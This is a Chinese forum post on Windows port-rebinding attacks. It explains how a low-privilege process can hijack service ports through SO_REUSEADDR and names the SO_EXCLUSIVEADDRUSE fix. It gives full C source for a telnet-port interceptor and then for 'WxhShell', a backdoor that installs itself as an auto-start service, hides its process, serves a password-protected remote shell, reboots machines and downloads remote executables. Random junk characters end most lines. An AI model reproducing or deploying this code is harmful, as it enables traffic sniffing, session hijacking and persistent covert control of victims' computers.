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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lFcCWy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -~q]0>  
Z%Gvf~u  
  saddr.sin_family = AF_INET; OW>U 5 \q  
8/CGg_C1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9(_/jU4mc  
0)B+ :  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MouYZI)  
wg_Z!(Hr#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0-9&d(L1g  
s$en5)  
  这意味着什么?意味着可以进行如下的攻击: g`j%jQuY  
[D)A+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d2Y5'A0X  
a AuQw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DF~w20+  
NXx}KF c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /_O-m8+ 4m  
TaC)N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5?O"N  
=pNkS1ey  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r\] WDX!`  
`y\:3bQ4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4u&doSXR  
,-b9:]{L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (F)zj<{f  
bQ)r8[o!  
  #include "@n$(-.  
  #include X[w9~t$\  
  #include - zkB`~u_  
  #include    QUNsS9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QNo}nl /N  
  int main() <L-L}\-I"  
  { P(4[<'H O  
  WORD wVersionRequested; pmS=$z;I  
  DWORD ret; n'gfB]H[  
  WSADATA wsaData; nRGH58  
  BOOL val; ^vPa{+N  
  SOCKADDR_IN saddr; f6XWA_[i@  
  SOCKADDR_IN scaddr; mF1oY[xa_  
  int err; &ke4":7X  
  SOCKET s; ^2=zp.)  
  SOCKET sc; Gd"*mL d  
  int caddsize; 4-m%[D |W  
  HANDLE mt; %vksN$^  
  DWORD tid;   j% nd  
  wVersionRequested = MAKEWORD( 2, 2 ); li{_biey}  
  err = WSAStartup( wVersionRequested, &wsaData ); y8L:nnSj  
  if ( err != 0 ) { 7XY C.g  
  printf("error!WSAStartup failed!\n"); YJ9_cA'A  
  return -1; k@2gw]y"  
  } I#0.72:[  
  saddr.sin_family = AF_INET; itP_Vxo/H  
   ()?)Ybqss  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pv T!6+  
\|(;q+n?k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [bp"U*!9P  
  saddr.sin_port = htons(23); 1.!(#I3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *<hpq)  
  { 2Zm*f2$xM  
  printf("error!socket failed!\n"); JB-j@  
  return -1; :$WRV-  
  } bHP-Z9riv  
  val = TRUE; #0R;^#F/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *0U(nCT&m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U +]ab  
  { 2/~v  
  printf("error!setsockopt failed!\n"); i ]_fhC  
  return -1; a'\`Mi@rb  
  } i~2>kxf;K1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t@Jo ?0s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f 6q@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \u*,~J)z  
x6,RW],FGR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V7^?jck  
  { Ip4~qGJ  
  ret=GetLastError(); LP\ Qwj{  
  printf("error!bind failed!\n"); T/3UF  
  return -1; U*b SM8)L*  
  } ;(afz?T  
  listen(s,2); ]oY~8HW  
  while(1) l]ZUKy  
  { }Yj S v^  
  caddsize = sizeof(scaddr); d/^^8XUK  
  //接受连接请求 VTHDGBU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -or9!:8  
  if(sc!=INVALID_SOCKET) R%Z} J R.  
  { wOsr#t7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [9L(4F20  
  if(mt==NULL) Q.fBuF  
  { ^_oLhNoez2  
  printf("Thread Creat Failed!\n"); #?/.LMn{  
  break; LJ)3!Q/:  
  } &a0%7ea`.S  
  } F ^\v`l,  
  CloseHandle(mt); '%MIG88  
  } brFOQU?  
  closesocket(s); D|S)/o6  
  WSACleanup(); 6R<%. -qr  
  return 0; xs:{%ki  
  }   R0|X;3  
  DWORD WINAPI ClientThread(LPVOID lpParam) u Qj#U m8  
  { we@bq,\w  
  SOCKET ss = (SOCKET)lpParam; ZLV~It&)  
  SOCKET sc; R|vF*0)>W  
  unsigned char buf[4096]; ^TjFR*S'E  
  SOCKADDR_IN saddr; <omz9d1  
  long num; m/ukH{H1%  
  DWORD val; c{ <3\  
  DWORD ret; |joGrWv4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r[lHYO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GwvxX&P  
  saddr.sin_family = AF_INET; 8 jT"HZB6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iN><m|  
  saddr.sin_port = htons(23); Q-0[l/A}a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )dV.A IQ+  
  { v6r w.  
  printf("error!socket failed!\n"); <@yyx7  
  return -1; 4[#.N 3Y4*  
  } ,^[s4 =3X?  
  val = 100; Qw ^tzP8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SX4p(t  
  { *Dn{MD7,M  
  ret = GetLastError(); XkD_SaL}  
  return -1; sPw(+m*C   
  } jlB3BwG{w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ns $PS\  
  { LY>JE6zTt  
  ret = GetLastError(); m&\Gz*)3  
  return -1; E,X,RM~ +D  
  } WX[y cm8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qkEy$[D9  
  { gV7o eZ5  
  printf("error!socket connect failed!\n"); q8D1MEBL`  
  closesocket(sc); {L0w& ~$Fy  
  closesocket(ss); ERZ[t\g)  
  return -1; xq{4i|d)  
  } '=2t(@aC  
  while(1) N.<hZ\].=  
  { r~;N(CG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Grqs*V &|g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =_86{wlk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xnh1pwDhe<  
  num = recv(ss,buf,4096,0); w5;EnI  
  if(num>0) @X#m]ou  
  send(sc,buf,num,0); e`oc#Od&x]  
  else if(num==0) =Dz[|$dV  
  break; ]+l r  
  num = recv(sc,buf,4096,0); 8%"e-chd  
  if(num>0) HT]ubw]rJ  
  send(ss,buf,num,0); MnQ_]c C  
  else if(num==0) i!iODt3k  
  break; v!uLd.(  
  } pg<>Ow5,~l  
  closesocket(ss); ,..b)H5n  
  closesocket(sc); {\e}43^9N  
  return 0 ; 5YCbFk^  
  } 4EK[gM8  
$X?V_K;9/  
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========================================================== D%A-& =  
c[I,Sveq  
下边附上一个代码,,WXhSHELL Hke\W'&  
b-Hn=e_  
========================================================== ?/wloLS47  
Dmw,Bi*  
#include "stdafx.h" f[RnL#*xJU  
<ZiO[dEV  
#include <stdio.h> 7^L&YV W  
#include <string.h> m|k,8guG  
#include <windows.h> 7Av]f3Zr  
#include <winsock2.h> lO *Hv9#  
#include <winsvc.h> 4L0LT>'M\  
#include <urlmon.h> :uEp7Y4  
pIXQ/(h31  
#pragma comment (lib, "Ws2_32.lib") wnX6XyUH  
#pragma comment (lib, "urlmon.lib") _e'mG'P(  
Nm~#$orI|  
#define MAX_USER   100 // 最大客户端连接数 9Dl \SF[  
#define BUF_SOCK   200 // sock buffer e=_hfOUC  
#define KEY_BUFF   255 // 输入 buffer _=] FJhO  
. ~<+  
#define REBOOT     0   // 重启 SS`C0&I@p  
#define SHUTDOWN   1   // 关机 nAzr!$qbNv  
liTr3T`,V  
#define DEF_PORT   5000 // 监听端口 (tgaH,G  
hq BRh+[  
#define REG_LEN     16   // 注册表键长度 `+uXL9mo  
#define SVC_LEN     80   // NT服务名长度 J3]m*i5A  
$enh45Wy  
// 从dll定义API ;w>B}v;RE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,&-[$,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b$`O|S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [wR8q,2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R4/@dA0  
Ir'f((8:  
// wxhshell配置信息 FuKNH~MevQ  
struct WSCFG { a|NU)mgEI  
  int ws_port;         // 监听端口 iCS/~[  
  char ws_passstr[REG_LEN]; // 口令 [OcD#~drO  
  int ws_autoins;       // 安装标记, 1=yes 0=no riL!]'akV  
  char ws_regname[REG_LEN]; // 注册表键名 ,zFN3NLtA  
  char ws_svcname[REG_LEN]; // 服务名 [xPE?OD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A@ME7^w7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >U)O@W)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J[l K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H/$q]i*#K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *"ShE=\p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8'_Y=7b0Nw  
^Ram8fW  
}; %vXQ Sz  
K="+2]{I  
// default Wxhshell configuration m 5Kx}H~  
struct WSCFG wscfg={DEF_PORT, Mx"tUoU6z  
    "xuhuanlingzhe", (a?Ip)`I  
    1, oB9m\o7$  
    "Wxhshell", E`|qFG<  
    "Wxhshell", r . ^&%D  
            "WxhShell Service", H<;j&\$q  
    "Wrsky Windows CmdShell Service", yH^*Fp8V  
    "Please Input Your Password: ", R 6Em^A/>  
  1, [_d*J/X  
  "http://www.wrsky.com/wxhshell.exe", GN0'-z6Uy  
  "Wxhshell.exe" 5b,98Q  
    }; gL`SZr9  
0^[6  
// 消息定义模块 #pfosC[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JyO lVs<T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %a `dO EO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k:Q<Uanc[  
char *msg_ws_ext="\n\rExit."; 3:Wr)>l}#  
char *msg_ws_end="\n\rQuit."; Xdt+ \}\  
char *msg_ws_boot="\n\rReboot..."; K }BX6dA  
char *msg_ws_poff="\n\rShutdown..."; j`B{w   
char *msg_ws_down="\n\rSave to "; PvwIO_W  
K dm5O@tq  
char *msg_ws_err="\n\rErr!"; &u-Bu;G.e  
char *msg_ws_ok="\n\rOK!"; k 9rnT)YU  
#EUgb7  
char ExeFile[MAX_PATH]; {9 O`/|  
int nUser = 0; G.8b\E~  
HANDLE handles[MAX_USER]; L ]c9  
int OsIsNt; S)yV51^B  
ub5hX{uT  
SERVICE_STATUS       serviceStatus; Hea<!zPH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hT"K}d;X  
E6M: ^p*<  
// 函数声明 =L%3q<]p  
int Install(void); [<QWTMjR  
int Uninstall(void); 'Aj>+H<B  
int DownloadFile(char *sURL, SOCKET wsh); 99K+7G\{  
int Boot(int flag); N&=2 /  
void HideProc(void); |U $-d^ZJ  
int GetOsVer(void); [[Z>(d$8  
int Wxhshell(SOCKET wsl); TzGm562o%  
void TalkWithClient(void *cs); |m- `, we  
int CmdShell(SOCKET sock); g/p }r.  
int StartFromService(void); VWt'Kx"  
int StartWxhshell(LPSTR lpCmdLine); i:ZA{hA`c  
Ah {pidUx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AW5g (  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JxJntsn  
mC92J@m/L!  
// 数据结构和表定义 PBtU4)  
SERVICE_TABLE_ENTRY DispatchTable[] = E e>j7k.G.  
{ uW=NH;u  
{wscfg.ws_svcname, NTServiceMain}, "~C#DZwt{  
{NULL, NULL} D5u"4\g< &  
}; vWs c{9  
(}1f]$V  
// 自我安装 VAGMI+ -  
int Install(void) 4tJ4X' U  
{ 0!`7kZrN  
  char svExeFile[MAX_PATH]; ~e9INZe-j  
  HKEY key; !U:s.^{  
  strcpy(svExeFile,ExeFile); C} _:K)5q  
Y{RB\}f(  
// 如果是win9x系统,修改注册表设为自启动 MXk. 2  
if(!OsIsNt) { W+e*(W|d6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TZNgtR{q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N'P,QiR,z<  
  RegCloseKey(key); .+}o'rU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [nIG_j>D-f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 389.&`Q%Ut  
  RegCloseKey(key); a] =\h'S  
  return 0; 9t.yP;j\Y  
    } jSp&mD*xv  
  } +|)1_NK  
} x=Jn&4q  
else { 6xh#;+e }  
_PUm Pom.  
// 如果是NT以上系统,安装为系统服务 Gj`Y2X2r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cE5Zxcn  
if (schSCManager!=0) ?^ezEpW  
{ `sy &dyM  
  SC_HANDLE schService = CreateService )=nPM`Jn.  
  ( !r obau7  
  schSCManager, /(ju  
  wscfg.ws_svcname, +WN>9V0H  
  wscfg.ws_svcdisp, ~PW}sN6ppG  
  SERVICE_ALL_ACCESS, % 3-\3qx*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IC.<)I  
  SERVICE_AUTO_START, &iy(oM  
  SERVICE_ERROR_NORMAL, g{)H" 8L  
  svExeFile, nvo1+W(%  
  NULL, w })Pedg  
  NULL, xWz;5=7a]  
  NULL, _ZM9 "<M-X  
  NULL, "4uUI_E9F;  
  NULL kjC{Zr  
  ); XW_xNkpL5c  
  if (schService!=0) 8t: &#h  
  { 0$Y 9>)O  
  CloseServiceHandle(schService); 9^#gVTGXv  
  CloseServiceHandle(schSCManager); 0gD59N'C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K6*UFO4}i  
  strcat(svExeFile,wscfg.ws_svcname); vq:OH H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i2a"J&,6O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L_1_y, 0N  
  RegCloseKey(key); 1 lCikS^c  
  return 0; ]q[  
    } \*!%YTZ~  
  } 3J~kiy.nfW  
  CloseServiceHandle(schSCManager); 3hf ;4Mb  
} ZHD0u)ri=J  
} &xuwke:[  
6Y_O^f  
return 1; dN\P&"`  
} |+xtFe  
ca3BJWY}J  
// 自我卸载 )):22}I#  
int Uninstall(void) GHC?Tp   
{ (<R\  
  HKEY key; |5B,cB_  
FWpN:|X BS  
if(!OsIsNt) { 4:eq{n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y:!/4GF  
  RegDeleteValue(key,wscfg.ws_regname); 1;kG[z=A  
  RegCloseKey(key); &#PBww  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pY!dG-;  
  RegDeleteValue(key,wscfg.ws_regname); |8qK%n f}  
  RegCloseKey(key); u~- fK'/!|  
  return 0; LH/&\k  
  } Ik-E4pxKo  
} X]pWvQ Q]  
} -8Jl4F ,  
else { *- IlF]  
#"p1Qea$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +.(}u ,:8  
if (schSCManager!=0) JdUz!=I  
{ r5!x,{E6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7hF,gl5  
  if (schService!=0) akvwApn5  
  { W^d4/]  
  if(DeleteService(schService)!=0) { c."bTq4tJ  
  CloseServiceHandle(schService); r]JC~{  
  CloseServiceHandle(schSCManager); Pm#x?1rAj  
  return 0; ~r>EF!U`h  
  } tk)>CK11  
  CloseServiceHandle(schService); |IX`(  
  } 2^^'t6@  
  CloseServiceHandle(schSCManager); [[?[? V ,  
} : >wQwf  
} 4&oXy,8LC  
,+ \4 '`  
return 1; *0&4mi8  
} 2 ]DCF  
7Z`Mt9:Ht  
// 从指定url下载文件 N[bR&# p  
int DownloadFile(char *sURL, SOCKET wsh) %%+mWz a  
{ IglJEH[+  
  HRESULT hr; H#|Z8^ *Ds  
char seps[]= "/"; A eGG  
char *token; KI Plb3oh  
char *file; (U(/ C5'  
char myURL[MAX_PATH]; <nw <v9Z  
char myFILE[MAX_PATH]; 3Zaq#uA  
x7KcO0F{  
strcpy(myURL,sURL); E)80S.V  
  token=strtok(myURL,seps); xOV A1p b,  
  while(token!=NULL) o!s%h!%L  
  { $d2kHT  
    file=token; yxG:\y b  
  token=strtok(NULL,seps); lRv#1'Y  
  } X"TUe>cM  
Sqdc1zC  
GetCurrentDirectory(MAX_PATH,myFILE); z{`6#  
strcat(myFILE, "\\"); <;z[+6T  
strcat(myFILE, file); $#G6m`V  
  send(wsh,myFILE,strlen(myFILE),0); 'Vm5Cs$  
send(wsh,"...",3,0); OAW=Pozr9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jiwpDB&[  
  if(hr==S_OK) 9 wSl,B-  
return 0; JtYYT/PB  
else 1!>bhH}{D  
return 1; -}_cO|kk  
'NT#(m%  
} @)OnIQN~  
cyGN3t9`.  
// 系统电源模块 Tsm1C#6 Y*  
int Boot(int flag) JNxW6 cK  
{ 2AXF$YjY  
  HANDLE hToken; Th7wP:iDP  
  TOKEN_PRIVILEGES tkp; ~+pg^en  
^ o $W  
  if(OsIsNt) { Avs7(-L+s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [}A_uOGEP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P1)* q0  
    tkp.PrivilegeCount = 1; x1m8~F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u}-d7-=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FylWbQU9  
if(flag==REBOOT) { aQ!9#d_D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C3 gZ6m  
  return 0; B@cJ\  
} i O%Zd[  
else { 7y>Tn`V8G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qa 6=W  
  return 0; ^i{,z*vi  
} Y]+e  Df  
  } < -Hs<T|tW  
  else { :b<-[8d&  
if(flag==REBOOT) { E6'8Zb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3AdP^B<  
  return 0; x1 ;rb8  
} oF%^QT"R  
else { gB/;clCdX)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  &7L~PZ  
  return 0; (MgL"8TS  
} ur/Oc24i1n  
} H o4B   
r+p@X  
return 1; d3EjI6R*z  
} 5 1o@b  
\g~ws9'~  
// win9x进程隐藏模块 _L*f8e8  
void HideProc(void) #joF{ M{  
{ 2UU 2Vm_6  
b(q$j/~ zb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b:fxkQm  
  if ( hKernel != NULL ) n!UMU^  
  { 8`:M\*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #2Ac  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H/^ ~<U#p  
    FreeLibrary(hKernel); _, \y2&KT  
  } f*{M3"$E  
<)_:NRjBF&  
return; X!U]`Qh  
} 6PiEa(  
McT\ R{/  
// 获取操作系统版本 ky'|Wk6   
int GetOsVer(void) a<f;\$h]  
{ zo_k\K`{@  
  OSVERSIONINFO winfo; 5c<b|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MS{Hz,I,  
  GetVersionEx(&winfo); m3U+ du  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^D9 /  
  return 1; i'M^ez)u  
  else nHI(V-E2:H  
  return 0; tegOT]|  
} @AvM  
D",A$(lG  
// 客户端句柄模块 xM%H~(  
int Wxhshell(SOCKET wsl) hX0RET  
{ G+ :bL S#:  
  SOCKET wsh; 2#'rk'X,K  
  struct sockaddr_in client; VKT@2HjNT`  
  DWORD myID; V)2"l"Kt  
+7Sf8tg\  
  while(nUser<MAX_USER) zTkFX67)  
{ 3sS=?q  
  int nSize=sizeof(client); NV&;e[z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0FG5_t"",\  
  if(wsh==INVALID_SOCKET) return 1; hbV E; 9  
|)^clkuGX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :L]-'\y  
if(handles[nUser]==0) w|&,I4["  
  closesocket(wsh); :0B |<~lX  
else |$M@09,F"  
  nUser++; {VBR/M(q  
  } j?=VtVP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XlRw Z/Wc  
0o;k?4aP.c  
  return 0; ]9fS@SHdx  
} F\;2 i:(  
]AFj&CteZ/  
// 关闭 socket !K!)S^^Po?  
void CloseIt(SOCKET wsh) -_s%8l^  
{ DD2adu^  
closesocket(wsh); IS-}:~Pi  
nUser--; \'[3^/('  
ExitThread(0); s;s0}Td_1  
} )r=9]0=  
]t*33  
// 客户端请求句柄 :b"= KQ  
void TalkWithClient(void *cs) M#ZT2~+CT  
{ :eSc;  
Pl_^nFm0  
  SOCKET wsh=(SOCKET)cs; V:(y*tFA  
  char pwd[SVC_LEN]; OO-_?8I}  
  char cmd[KEY_BUFF]; &xgZF Sq  
char chr[1]; T]^?l  
int i,j; N"S3N)wgd  
J(4g4?  
  while (nUser < MAX_USER) { T&]Na  
TS1pR"6l  
if(wscfg.ws_passstr) { Y^4q9?2G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0%/,>IR>r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |4=ihB9+  
  //ZeroMemory(pwd,KEY_BUFF); iA]DE`S  
      i=0; n4Vwao/9x  
  while(i<SVC_LEN) { ^Fn%K].X  
Bu&So|@TL  
  // 设置超时 [U swf3  
  fd_set FdRead; >xZ5 ac I  
  struct timeval TimeOut; d60c$?"]a(  
  FD_ZERO(&FdRead); Qr<AV:  
  FD_SET(wsh,&FdRead); ^,Lt Ewd~Y  
  TimeOut.tv_sec=8; I<sfN'FpT  
  TimeOut.tv_usec=0; |ribWCv0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L,#^&9bHa#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); en%J!<&W{K  
># INEO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2bkJ /u`i  
  pwd=chr[0]; ;r3}g"D@  
  if(chr[0]==0xd || chr[0]==0xa) { tp@*=*^I  
  pwd=0; ~H7!MC~K  
  break; F9%,MSt  
  } : g 5(HH  
  i++; N=q#y@L  
    } /\d(c/,4  
rjXnDh]MC  
  // 如果是非法用户,关闭 socket *u}'}jC1X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P`tyBe#=  
} 2R\+}  
7"#f!.E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lVP |W:~K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &m'?*O |  
D'<$ g  
while(1) { Cpe#[mE  
Oc#>QZ3  
  ZeroMemory(cmd,KEY_BUFF); ^}hJL7O'  
z4bN)W )p  
      // 自动支持客户端 telnet标准    ![ a  
  j=0; dIvy!d2l  
  while(j<KEY_BUFF) { RJ@\W=aZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7N| AA^I  
  cmd[j]=chr[0]; @cPflb  
  if(chr[0]==0xa || chr[0]==0xd) { lirNYJ]tO  
  cmd[j]=0; Yc|uD-y  
  break; 7_KXD#  
  } *U_S1>0n  
  j++; =PZWS& (L  
    } UoHd-  
oXdel Ju?  
  // 下载文件 =MxpH+spI  
  if(strstr(cmd,"http://")) { j|mv+O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z&-tMai;  
  if(DownloadFile(cmd,wsh)) 1\y@E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w763 zi{  
  else Od-Ax+Hp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W tVf wC_  
  } fgmSgG"b  
  else { Dm^l?Z  
#~S>K3(  
    switch(cmd[0]) { 6Kp}_^|z  
  F_v-}bbcFQ  
  // 帮助 $~G@   
  case '?': { ; h85=l<8u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x)_r@l`$ix  
    break; sBU_Ft  
  } N}DL(-SQ3  
  // 安装 ' Rc#^U*n  
  case 'i': { Z%OW5]q  
    if(Install()) b)`pZiQP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Mw'eQ0(y  
    else ws[/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7E\g &R.  
    break; T)~!mifX  
    } \2>3Opt  
  // 卸载 #|?8~c;RWG  
  case 'r': { (0R2T"/  
    if(Uninstall()) Im+ 7<3Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yz\ N&0"  
    else f3 vF"O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPewc9RxV  
    break; P$OUi!"  
    } v%nP*i9  
  // 显示 wxhshell 所在路径 $''UlWK  
  case 'p': { 1x{kl01m%  
    char svExeFile[MAX_PATH]; _C$X04bU3V  
    strcpy(svExeFile,"\n\r"); XXm'6xD-  
      strcat(svExeFile,ExeFile); bcn7,ht  
        send(wsh,svExeFile,strlen(svExeFile),0); bb1  f/C%  
    break; 7]Rk+q2:  
    } |z*>ixK  
  // 重启 #x)8f3I  
  case 'b': { (hN?:q?'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zSXA=   
    if(Boot(REBOOT)) Ha)np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =k_UjwgN^  
    else { r^5jh1  
    closesocket(wsh); \<V)-eB   
    ExitThread(0); En\Z#0,V  
    } P0 b4Hq3  
    break; ({ k7#1 h8  
    } jkt 6/H  
